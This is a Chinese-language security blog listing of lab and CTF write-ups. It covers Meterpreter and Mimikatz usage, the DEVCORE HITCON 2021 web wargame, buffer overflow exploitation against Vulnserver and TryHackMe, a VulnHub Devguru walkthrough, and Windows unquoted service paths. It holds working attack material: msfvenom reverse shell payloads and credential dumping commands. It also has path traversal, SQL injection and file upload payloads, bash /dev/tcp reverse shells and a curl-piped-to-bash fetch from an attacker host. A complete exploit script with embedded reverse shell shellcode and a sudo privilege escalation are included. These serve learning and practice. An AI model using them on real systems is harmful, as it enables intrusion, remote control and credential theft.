Meterpreter 基礎

產 Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={PORT} -f exe -e x86/shikata_ga_nai > {FILE} 執行 記得 Payload 需要修改成相對應的windows/meterpreter/reverse_tcp 常見指令 ls,pwd , mkdir, catBJ4getuid- 取得使用者名稱edit {檔名}- 會直接開啟 vim 可以改檔案sysinfo- 系統資訊getsystem- 如果有過 UAC 的話,有機率可以直接拿 system 執行後輸入 getuid 就可以確認自己是否真的是 system 了ps``migrate {PID}- 可以讓自己爬到 x64 之類的 system 權限上 例如 lsass.exe 的 PIDscreenshot- 截圖 需要是當前使用者,不能是 system 之類upload {檔案} / download {檔案}- upload -> attacker to victim download -> victim to attacker Mimikatz 需要是 system 權限 load kiwi help kiwi lsa_dump_sam取 Hashlsa_dump_secrets- 取明文密碼kiwi_cmd sekurlsa::logonpasswords- 需要先 migrate 到 x64 上

2021-12-26 · 1 分鐘 · steven

DEVCORE WarGame (Web) for HITCON 2021 Writeup

DEVCORE WarGame (Web) for HITCON 2021 Writeup By Steven Meow URL : https://wargame.devcore.tw/Web : http://web.ctf.devcore.tw/今年與去年一樣,在 HITCON 會場上有 DEVCORE 的擺攤,解 Wargame 就可以換小獎品與 NFT,而且據說今年的題目都是來自現實生活中的真實案例改編,我覺得題目比起去年明顯的簡單了不少。但我還是覺得在 HITCON 辦這種活動不太優 QQ 會害人無法專心聽議程,都在解題。畢竟這種 Conf,我覺得聽議程還是比較重要 Q__Q。 弱點 01 Path Traversal 簡單逛一下網頁會發現是一個印表機的訂購網站觀察進入網頁首頁的 HTTP Request 可以看到一個明顯可疑的 URL- http://web.ctf.devcore.tw/image.php?id=aHBfbTI4M2Zkdy5qcGc= 根據一點點的小直覺,可以猜出 ID 的參數是透過 Base64 編碼的 (因為結尾有出現=)- 解碼後可以看出是圖片的檔名而直接訪問則會出現印表機的圖片- 我們可以合理的猜測這可能有一個任意讀檔,或是 LFI 的漏洞,前提是需要把路徑轉 Base64 再放入 ID- 首先測試 /etc/passwd 透過 echo -n '../../../../../../../etc/passwd' | base64 -w0 可以取得 Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== 再把 Base64 的結果串上網址的 ID,用 curl 送 request 發現可以順利取得 /etc/passwd 而且告訴了我們 Flag 在 php 原始碼裡面至此,可以非常合理的確認我們可以讀檔了我們也可以把指令寫的更直觀一點- curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../etc/passwd' | base64 -w0) 未來只需要修改路徑就可以快速發送 Requests尋找網頁根目錄- 通常,預設的網頁根目錄會放在 /var/www/html但這個網站看起來有刻意的設計過,所以檔案目標不在這邊 在現代,為了方便,大多數的服務都會透過 Docker 來進行部屬 (特別是 CTF 題目,被打爛了可以快速砍掉重架),而 Docker 通常會透過 Mount 目錄等方法,使 Docker 內外互通- 我們可以透過 /proc/1/mountinfo 或是 /proc/self/mounts 看到一些掛載的資訊 從上面的一堆垃圾可以確認我們真的在 docker 裡面 另外我們可以注意到下面有一些有趣的東西 /usr/share/nginx/images /usr/share/nginx/b8ck3nd /usr/share/nginx/frontend 我們可以合理懷疑原始碼就藏在這幾個路徑裡面取得原始碼- 前端首頁 (後面只寫路徑)curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../usr/share/nginx/frontend/index.php' | base64 -w0)可以發現裡面有 require_once('include.php');前端 include- /usr/share/nginx/frontend/include.php 就順利取得 Flag 1 了前端 image- /usr/share/nginx/frontend/image.php 可以發現它只是 Base64 解開丟 readfile($file);,所以沒有 LFI ,只能任意讀檔官方報告 - 弱點 02:Broken Access Control 開始玩一下網頁的功能立刻訂購index.php 訂購成功- submit.php 訂單資訊- order.php?id=35163&sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY 雖然我們看到了一些參數,但不需要急著 SQL injection,因為我們可以透過第一個漏洞來讀原始碼,確認有沒有漏洞查看收據- receipt.php?id=35163&sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY 列印- 按下去後會出現一個匯出 PDF 的頁面 匯出 PDF- print.php?id=35163&sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY 觀察以上幾個頁面的原始碼,我們可以快速的發現 print.php 上面有一個 SQL injection 的弱點 php $res = $pdo->query(" SELECT * FROM orders WHERE sig_hash = '$sig_hash' AND id = $id LIMIT 1 ", PDO::FETCH_ASSOC);- 使用者可控 id 的部分我們可以隨意來寫個http://web.ctf.devcore.tw/print.php?sig=1&id=1 or 1=1然後就拿到 Flag 了 ?__?官方報告- 欸好ㄛ,我的方法是一個非預期解的意思,那我們來看一下正規解- http://web.ctf.devcore.tw/order.php?id=1&sig[]= 就拿到 Flag 了 而原理可以看官方報告上有詳述,主要就是因為 sig 參數給予一個 [] 代表陣列,會讓 php 解到爛掉 弱點 04:Use of Less Trusted Source 對,我先寫 4 ,因為我先解出 4 才找到 3 的 剛剛我們找到了一個 SQL injection 的漏洞,所以可以用 SQL injection 來取得所有資料庫裡面的資料所以需要先透過 information_schema 那一串套路去看 SQL 裡面有哪些 DB 、 Table 、 Column 再來選嗎?答案是不用的,因為我們已經有完整的 Source Code 所以可以直接看!觀察檔案- 從最最前面 mount 的資料夾中,我們可以看到其中有一個 b8ck3nd 的資料夾 b8ck3nd/index.php裡面有 include.php , upload.php``b8ck3nd/include.php- 裡面有一段說到,我們的 IP 必須為 ['127.0.0.1', '172.18.11.89'] 才能進入後台,不然會被導向首頁 還有說到,沒有登入的話,會被導到 login.php``b8ck3nd/login.php- 裡面有一段 SELECT * FROM backend_users WHERE username = %s AND password = %s'它的 username 跟 password 都會經過 quote,所以不能從這邊直接的進行 SQL injection 但我們可以確定 Table backend_users 裡面一定有 username, password 這兩個 Column正式 SQL injection- 回到前一題的 SQL injection 如果我們給予 or 1=1 的話,可以取得 Flag2 ,如果給予 or 1=0 的話,則畫面會空白,最無腦的方法就是使用 Boolean based 的 SQL injection 不過由於它回傳的是一個 PDF 檔案,所以 SQLMap 會解到壞掉這邊我使用 import pdftotext 來讀取 PDF 的內容,如果 steven 這個詞出現在 PDF 中,就代表 True ,不然就代表 False 自己刻一個 Binary Search 的 Boolean Based SQL injection Payload 就可以爆出資料庫的所有資料了,我有程式碼但寫得很醜,就先不公布ㄌ XDD。另外一種解法 (Wii Wu 提供)- 其實可以透過 UNION Based 的方法來取 http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT id as id, username as email, password AS phone ,NULL,NULL,NULL,NULL,NULL,NULL FROM backend_users 至此我們可以取得- username : admin password : u=479_p5jV:Fsq(2回到前面說的 b8ck3nd/include.php- 我們必須要使用 127.0.0.1 或是 172.18.11.89 IP 才能進入後台 最常見的方法是透過修改 X-Forwarded-For 的 Header 來進行達成詳見 : https://devco.re/blog/2014/06/19/client-ip-detection/ 通常大多數人會使用 BurpSuite 進行修改,不過我個人推薦使用更懶人的 Firefox Plugin順利訪問後台 http://web.ctf.devcore.tw/b8ck3nd/login.php- 可以使用上述的帳密進行登入,取得 Flag 4- 官方報告- 好的,看起來很符合 - 但我的 Flag3 去哪了 QQ 弱點 03:SQL Injection 其實我合理猜測是因為我們快速地透過原始碼取得 Column 跟 Table 進行登入,但省略了某些東西,Flag 在裡面。因為至今還沒有出現 SQL injection 的弱點報告,但我們都透過 SQLinjection 取得兩個 Flag 了 XDDDD 接下來我就直接借用 Wii Wu 提供的 Union Based 來寫使用 SQL 取得 DB, Table, Column 的老梗來找 但我想反著找,看看 backend_users 裡面有沒有什麼有趣的其他 Column http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT NULL, NULL, group_concat(column_name), NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='backend_users' 我們可以看到還有一個 description 的 column取得 description 欄位的值即為 Flag- http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT NULL, NULL, description, NULL, NULL, NULL, NULL, NULL, NULL FROM backend_users 官方報告 - 弱點 05:Unrestricted File Upload 接下來繼續地回到了 Code Review 的環節b8ck3nd/index.php裡面發現會把一些資訊傳到 upload.php``b8ck3nd/upload.php- 程式分成了兩個部分如果透過 GET Method 進入,會回傳一段 JWT,但對於解題沒有任何幫助 下面有一段是沒有任何前端對應的後端 API可以上傳檔案 參數 rename 可以指定檔案名稱 參數 folder 可以指定檔案資料夾會透過 $filename = $folder.'/'.$filename; 直接把資料夾跟檔名進行串接 很值觀的猜測可以用 folder 來進行任意位置寫入所以我們可以隨便上傳一個檔案看看,但要記得帶上 Header 跟 Session Cookie,但當大家看到這篇時,理論上下面的 Session 已經過期ㄌ- echo meow > meow.txt Session Cookie 可以透過瀏覽器 F12 取得 curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@meow.txt' -F 'rename=meow.txt' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php上面的 command 丟出去就可以取得 Flag5- 官方報告 - 弱點 06:Local File Inclusion 我覺得這一段是全部裡面最難的部分,我個人卡了超級超級久 首先大家應該會非常直觀的想到如果我把程式碼寫到 frontend/, images/, 或 b8ck3nd,是不是就可以成功地拿到 Webshell 但事實真正的嘗試會發現這些目錄都不可寫回到觀察程式碼的部分- frontend/include.php我們可以發現有一行 require_once('langs/' . $_SESSION['lang'] . '.php'); 而如果我們訪問 frontend/index.php 就會呼叫到 frontend/include.php所以 …… 這邊會是一個 LFI 的漏洞嗎?- LFI 的前提要是 Session 可控 我們可以查資料發現到,PHP 的 Session 資料會放在 /tmp/sess_{SESSION_ID} 我們使用弱點 1 就可以快速的取得目前我們的 Session 資料那我們是不是可以把 Session 資料載下來,自己進行竄改之後達成 LFI 2 RCE 呢?- 假設我們使用弱點 6 寫入一個 Webshell 在 /tmp/meowmeow.php 再來,控制 $_SESSION['lang'] ,設定為 ../../../../../../tmp/meowmeow (在frontend/include.php 會自動幫我們加上 .php) 訪問網頁首頁即可取得 webshell首先我們先下載 curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../tmp/sess_5qh67f4o30aa8r2313gjv8iucd' | base64 -w0) -o sess_meow- 內容是 lang|s:5:"zh-tw";user_id|s:1:"1"; 就算不懂結構我們也可以猜出zh-tw 是我們需要變更的部分 s:5 是後面接的字串長度所以我們準備一個檔案- lang|s:33:"../../../../../../../tmp/meowmeow";user_id|s:1:"1"; 上傳到 /tmp/sess_meowmeow curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@sess_meowmeow' -F 'rename=sess_meowmeow' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php 可以觀察確定上傳正確再準備一個 webshell- `` 命名為 meowmeow.php 上傳到 /tmp/meowmeow.php curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@meowmeow.php' -F 'rename=meowmeow.php' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php 確認檔案上傳正確最後我們只需要使用 meowmeow 這個 Session ID 訪問 index.php 即可拿到 Webshell- curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=meowmeow' http://web.ctf.devcore.tw/index.php?meow=ls 當然我們也可以用酷炫的方法拿 Reverse Shell- (需要自備一個有對外 IP 的電腦或 Ngrok,不做這一段也可拿 Flag) 首先在機器上準備一個 s8787 檔案bash -c 'bash -i >& /dev/tcp/{自己的IP}/8787 0>&1'輸入 python3 -m http.server 8000- 開啟一個 Python HTTP Server在自己電腦上開一個 nc 接收- rlwrap nc -nlvp 7877 (沒有 rlwrap 就直接 nc 也可)curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=meowmeow' 'http://web.ctf.devcore.tw/index.php?meow=curl%20http://{自己的IP}:8000/s8787%20%7C%20/bin/bash'執行下去後,會發現 Python HTTP Server 接收到了一個 Request- 我們的 nc 端也收到一個 Reverse Shell- 觀察根目錄的檔案- 我們會發現沒有權限讀 flag,但是我們有一個檔案叫做 readflag,它有 SUID 且 Owner 是 Root 透過 file 觀察可以確定它是一個執行檔 直接執行 ./readflag 即可取得 Flag ...

2021-11-29 · 4 分鐘 · steven

Buffer Overflow Prep OVERFLOW1

https://tryhackme.com/room/bufferoverflowprep Immunity debugger 快捷鍵Ctrl + F2 重開 F9 開始 觀察 nc 上去,決定這次的目標是 OVERFLOW1 Fuzz 準備 Overflow1.spk s_readline(); s_string("OVERFLOW1 "); s_string_variable("0"); 執行 generic_send_tcp 192.168.1.102 1337 Overflow1.spk 0 0 Run 下去他就爛ㄌ 可以觀察到 EIP 變成 41414141 Cyclic 找 Offset from pwn import * r = remote("192.168.1.102",1337) perfix = b"OVERFLOW1 " cy = cyclic() payload = perfix + cy r.sendline(payload) 這題因為長度OK所以可以這樣做正常解法建議先 b'a'*1000 先 try 到 offset 蓋到 EIP 變成 0x6161611000 , 5000 之類的亂猜 因為有時候蓋太多他也會爛到 EIP 不變 QQ之後 cyclic(長度),就可以產出指定的長度觀察 EIP 變成 61757461- pwn cyclic -l 0x61757461- Offset 為 1978重新測試 from pwn import * r = remote("192.168.1.102",1337) perfix = b"OVERFLOW1 " padding = b'a' * 1978 payload = perfix + padding + b'bbbb' r.sendline(payload) ...

2021-08-27 · 3 分鐘 · steven

Vulnserver (TRUN) Windows Overflow

事前準備 Vulnserverhttps://github.com/stephenbradshaw/vulnserver 這邊我的環境是開在 Microsoft Windows 10 專業版 10.0.19042 (沒有用 VM) 關閉 Windows DefenderImmunity Debugger- 安裝 Moma 的 Script把 moma.py 直接丟進 C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands 即可Kali- 安裝 pwntools 其他都有內建 簡介指令 cyclicpwntools 功能 (我覺得用起來比較順手)pwn cyclic或是在 python 裡面的 pwn.cyclic() 可以產出 cyclic 字串 pwn cyclic -l {Pattern in hex}- 隨便取 4 個值,都能知道他 offset 第幾格 msf 功能- /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l {length}產出長度為 length 的字串/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l {length} -q {pattern}- Fuzz 腳本- generic_send_tcp {IP} {Port} {腳本.spk} 0 0 s_readline(); s_string("{command}"); // 開頭要輸入的東西 s_string_variable("0"); 觀察 第一步,nc 上去觀察這次要打ㄉ洞是 TRUN- 基本指令是 TRUN {something} Fuzz 所以寫 TRUN 的 generic_send_tcp 的 Script trun1.spk s_readline(); s_string("TRUN "); // 開頭要輸入的東西 s_string_variable("0"); 執行generic_send_tcp 192.168.1.102 9999 trun1.spk 0 0 Run 下去隔了幾秒鐘, Debugger 就跳卡住了- 下面有寫是 0x41414141 位子錯誤 然後可以發現 EIP 也被變成了 0x41414141 0x41 是 A觀察 EAX- 發現 Command 的開頭是 TRUN /.:/AAA.... 只是我們不知道 Fuzz 有戳幾個 A 但確定他的開頭是 TRUN /.:/ Cyclic 找 Offset 用 cyclic 找 offset from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" cyclic_code = cyclic() payload = command + cyclic_code r.sendline(payload) 觀察 EIP 值為 0x61616275輸入 pwn cyclic -l 0x61616275- 就能知道 offset 是 2003測試 Offset 是否正確- 這邊用 0xdeadbeef 進行測試from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 meow = p32(0xdeadbeef) payload = command + padding + meow r.sendline(payload)- 發現可以成功蓋到 EIP 了 觀察蓋完 EIP 後 觀察蓋完 EIP 後的東東 from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 new_eip = p32(0xdeadbeef) padding2 = cyclic() payload = command + padding + new_eip + padding2 r.sendline(payload) 一樣用 cyclic 會發現 ESP 指向 aaaa 也就是 0x61616161 就是說,我們的 address 後面直接接的東西會被 EIP 所指到 找 Shell Code 跳躍點 理論上我們在目前寫的後面 shell_code並且把 new_eip 設定為 jmp ESP 即可在 immunity debugger 下面輸入- !mona jmp -r esp 可以找到 jmp ESP 的指令 第一個在 0x625011af所以我們把 EIP 蓋成這個,他接下來就會跳去 EIP 指到的 Memory- 並且執行我們的 Shell Code 生 Reverse shell 接著要想辦法生成 reverse shell 的 shell code 這邊可以直接用 msfvenom 處理msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.106 LPORT=7877 EXITFUNC=thread -f c -a x86 -b "\x00" 整理一下貼到 Python再在前面增加幾個 nop (0x90)做 padding- 避免直接跳出現一些問題 Padding 長度以 32bit 的倍數為原則 padding2 = p32(0x90909090) * 10 完整 Exploit from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 new_eip = p32(0x625011af) padding2 = p32(0x90909090) * 10 shellcode = (b"\xbe\xb0\x17\xe4\xba\xda\xcc\xd9\x74\x24\xf4\x58\x33\xc9\xb1" b"\x52\x31\x70\x12\x03\x70\x12\x83\x70\x13\x06\x4f\x8c\xf4\x44" b"\xb0\x6c\x05\x29\x38\x89\x34\x69\x5e\xda\x67\x59\x14\x8e\x8b" b"\x12\x78\x3a\x1f\x56\x55\x4d\xa8\xdd\x83\x60\x29\x4d\xf7\xe3" b"\xa9\x8c\x24\xc3\x90\x5e\x39\x02\xd4\x83\xb0\x56\x8d\xc8\x67" b"\x46\xba\x85\xbb\xed\xf0\x08\xbc\x12\x40\x2a\xed\x85\xda\x75" b"\x2d\x24\x0e\x0e\x64\x3e\x53\x2b\x3e\xb5\xa7\xc7\xc1\x1f\xf6" b"\x28\x6d\x5e\x36\xdb\x6f\xa7\xf1\x04\x1a\xd1\x01\xb8\x1d\x26" b"\x7b\x66\xab\xbc\xdb\xed\x0b\x18\xdd\x22\xcd\xeb\xd1\x8f\x99" b"\xb3\xf5\x0e\x4d\xc8\x02\x9a\x70\x1e\x83\xd8\x56\xba\xcf\xbb" b"\xf7\x9b\xb5\x6a\x07\xfb\x15\xd2\xad\x70\xbb\x07\xdc\xdb\xd4" b"\xe4\xed\xe3\x24\x63\x65\x90\x16\x2c\xdd\x3e\x1b\xa5\xfb\xb9" b"\x5c\x9c\xbc\x55\xa3\x1f\xbd\x7c\x60\x4b\xed\x16\x41\xf4\x66" b"\xe6\x6e\x21\x28\xb6\xc0\x9a\x89\x66\xa1\x4a\x62\x6c\x2e\xb4" b"\x92\x8f\xe4\xdd\x39\x6a\x6f\x22\x15\x75\x05\xca\x64\x75\xc7" b"\xcf\xe0\x93\x9d\xdf\xa4\x0c\x0a\x79\xed\xc6\xab\x86\x3b\xa3" b"\xec\x0d\xc8\x54\xa2\xe5\xa5\x46\x53\x06\xf0\x34\xf2\x19\x2e" b"\x50\x98\x88\xb5\xa0\xd7\xb0\x61\xf7\xb0\x07\x78\x9d\x2c\x31" b"\xd2\x83\xac\xa7\x1d\x07\x6b\x14\xa3\x86\xfe\x20\x87\x98\xc6" b"\xa9\x83\xcc\x96\xff\x5d\xba\x50\x56\x2c\x14\x0b\x05\xe6\xf0" b"\xca\x65\x39\x86\xd2\xa3\xcf\x66\x62\x1a\x96\x99\x4b\xca\x1e" b"\xe2\xb1\x6a\xe0\x39\x72\x8a\x03\xeb\x8f\x23\x9a\x7e\x32\x2e" b"\x1d\x55\x71\x57\x9e\x5f\x0a\xac\xbe\x2a\x0f\xe8\x78\xc7\x7d" b"\x61\xed\xe7\xd2\x82\x24") payload = command + padding + new_eip + padding2 + shellcode r.sendline(payload) 本地端開 nc 接 Shell成功!! 參考資料 https://www.hackercat.org/oscp/buffer-overflows-made-easy-notes-oscp-preparation https://www.youtube.com/watch?v=o-1qYzAqM_Q https://www.youtube.com/watch?v=yJF0YPd8lDw

2021-08-25 · 2 分鐘 · steven

Devguru (VulnHub Writeup)

URL : https://www.vulnhub.com/entry/devguru-1,620/ IP : 192.168.1.138 覺得打 Tryhackme 也一陣子了,可以回來打打看 VulnHub 的 OSCP 模擬題試試水溫,不過看樣子打起來還是有一點辛苦QQQ 部屬機器 載下來解壓縮後,是虛擬盒子的 OVA,開虛擬盒子,網路改橋接試試看很棒,這台機器自動的告訴我們 IP 惹,不需要用奇怪的方法來找 IP Recon 先掃 Portrustscan -a 192.168.1.138 發現有開 22,80,8585nmap -A -p22,80,8585 192.168.1.138- 用 nmap 大致掃一下python3 dirsearch.py -u http://192.168.1.138/- 用 Dirsearch 掃描,觀察看看有沒有什麼有趣ㄉ東西 發現他的 .git 竟然存在,可以嘗試用 Githack 把資料復原 還有一個 adminer 是類似 PHP My Admin 的東西觀察 80 port- 是一個叫做 October 的 CMS 而 Adminer 版本是 4.7.7觀察 8080 port- 是一個 Gitea 版本是 1.12.5 版本有符合的 Exploithttps://www.exploit-db.com/exploits/49571 wget https://www.exploit-db.com/download/49571 -O 49571.py 發現執行的話需要密碼,所以先放一邊留存- 發現一個唯一的使用者叫做 frank 他沒有公開的 repoGithack- git clone https://github.com/lijiejie/GitHack python GitHack.py http://192.168.1.138/.git/復原之後覺得裡面的資料滿多的,亂晃一下發現有趣的東西 資料庫密碼- 帳號 : october 密碼 : SQ66EBYx4GT3byXH` 資料庫名稱 octoberdb嘗試使用 Adminer 登入- http://192.168.1.138/adminer.php 發現可以順利登入 破解 Hash 成功登入 觀察 Backend Users 發現了一組使用者以及密碼 hash 使用者名稱 : frank 密碼 Hash : $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK觀察網站- http://192.168.1.138/backend/backend/auth/signin 使用 frank 做為帳號登入 但我們需要知道密碼是什麼 QQQ暴力破解?- john frank.txt --wordlist=rockyou.txt 在我家的超級電腦跑了 10 分鐘也沒有結果,看起來應該不是 這到底是什麼 hash?- 使用這個網站 https://www.tunnelsup.com/hash-analyzer/ 貼上 hash 值$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK可以自動分析出他叫做 bcrypt我們可以尋找 bcrypt 的產生器,幫我們產出一組符合規格的 hash- https://bcrypt-generator.com/ 我們隨便輸入一組密碼 meowmeow12345他就產出惹$2a$12$LnBY8Lzpcq1/Z90x41QZT.fkJKfcWvFtYzQc9Ex4vzAHSvFLn6.Ce但登入卻一直噴錯 QQ繼續挖 DB 會發現帳號被 suspend 了QQ那我們就直接把這一筆刪掉ㄅ !!另外還觀察到使用者的 DB 裡面有一組 persist_code- 暫時不知道是幹嘛的,先存下來備用 $2y$10$hnhKQ8hTe9b3SoZgXhBuT.HG17VvEdBXe86hEq1qdIknkcM1rbxYi順利登入 CMS- 想試試看在上傳檔案的地方上傳 webshell 或是透過修改檔名之類的方法先傳 .txt 再改 .php 都失敗 SSTI- 在 CMS 的 Assets 地方發現可以 SSTI 輸入錯誤的資料會爛掉 從 Debug 頁面可以看出他是使用 TWIG 做為模板引擎嘗試使用一些測試的 Payload但大多數都失敗 QQ插入 Command- 在 October CMS 上,可以看到 https://octobercms.com/docs/cms/pages 可以直接插入 Codephp function onStart() { system($_GET['A']); } 然後就成功ㄌ! 進入系統 嘗試用 Command 載 reverse shell192.168.1.138/?A=wget 192.168.1.106:8000/s_l -O /tmp/s 戳 Reverse shell- nc -nvlp 7877 成功!LinPeas- wget 192.168.1.106:8000/linpeas.shbash linpeas.sh- 找到可能有用的密碼!! 把密碼檔案用 nc 傳出來- nc -l -p 1234 > meow `nc 192.168.1.106 1234 登入 Gitea 登入 SQL 觀察使用者 發現是一種 pbkdf2 的 hash 演算法hash :c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900 salt :Bop8nwtUiM passwd_hash_algo : argon2觀察 hash 長度- len("c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900") 長度是 400 bits = 50 BytesGoogle 到 pbkdf2 的產生器產密碼- https://neurotechnics.com/tools/pbkdf2-test 但後來登入都失敗了 QQ去 Github 上搜尋 passwd_hash_algo 找到了別人現成的 hash- https://github.com/go-gitea/gitea/blob/22a0636544237bcffb46b36b593a501e77ae02cc/models/fixtures/user.ymlpasswd:`a3d5fcd92bae586c2e3dbe72daea7a0d27833a8d0227aa1704f4bbd775c1f3b03535b76dd93b0d4d8d22a519dca47df1547b # password- 該 hash 值 就是 passwordsalt: ZogKvWdyExpasswd_hash_algo: argon2`把他們填進去 SQL 中http://192.168.1.138:8585/user/login?redirect_to=- frank / password 嘗試登入,就登入成功ㄌ!使用剛剛前面載的 Exploit- https://www.exploit-db.com/exploits/49571 nc -nvlp 7879 python3 49571.py -t http://192.168.1.138:8585 -u frank -p password -I 192.168.1.106 -P 7879 但都打不進去 QQ觀察使用者的 Git- 觀察到他有用 githook 做 CI/CD所以可以試著在這邊 bash 上加 reverse shell- bash -c 'bash -i >& /dev/tcp/192.168.1.106/7879 0>&1' 改完之後會發現 update 亮綠燈接著來亂改他的 readme.md 、發 Commit- 成功拿到使用者的 Shell! 提權 sudo -l 觀察 發現我們可以用 sudo 執行 sqlite3再跑一次 Linpeas- 看起來沒什麼特別,但我們可以注意 sudo 版本sudo -V- 發現是 1.8.21p2 版本CVE-2019-14287 可以用 sudo -u#-1 binary 來繞密碼GTFOBins 可以找到 SQLite3 的 sudo 利用方法- https://gtfobins.github.io/gtfobins/sqlite3/#sudo 串成完整的 Payloadsudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'執行!!- 取得Root Flag-

2021-08-08 · 2 分鐘 · steven

Windows Unquoted Services Path

顧名思義,這是一個 Windows 服務上面的漏洞。找到符合沒有加上引號的路徑很常見,但是真正能夠運用的機率不一定很多,因為前提是還需要注意相關路徑的寫入以及讀取權限。 使用前提:檔案的路徑中有空格 而且檔案沒有用引號括起來 對於該檔案的前一個目錄具有寫入的權限 達成這兩個前提就有機會可以實作 Unquoted Services Path 相關的漏洞應用,但通常在 XP 以後的作業系統,預設普通使用者沒有 C:\ 的寫入權限,所以大多數狀況都不適用;而使用者也須要具備對於該 Services 的開啟與關閉權限。 先備知識,觀察權限AccessChk Services 權限accesschk.exe /accepteula -ucqv {services_name} 資料夾權限- accesschk -uwdq "C:\Program Files (x86)" 觀察 wmic 輸入 wmic service get name,pathname可以觀察到所有服務的名稱與檔案名稱 輸入 wmic service get pathname,startname- 可以觀察到程式名稱與執行者名稱(startname) 在此, startname 若為 LocalSystem 則代表有 system 權限 Winpeas Winpeas 也有這種相關提示No quotes and Space detectd 實作與解釋 假設我們看到一個 Path 如下所述 C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe 我們可以發現路徑依序為Program Files (x86)Windows 會先嘗試解釋為 Program.exe 再解釋 Program Files (x86)``meow``meowmeow 8.7- Windows 會先嘗試解釋為 meowmeow.exe 再解釋 meowmeow 8.7``meoewww.exe 在這段路徑中,我們觀察路徑的空白會發現,有兩個可以利用的點,分別是路徑中有空白的Program Files (x86)以及meowmeow 8.7 ...

2021-08-05 · 1 分鐘 · steven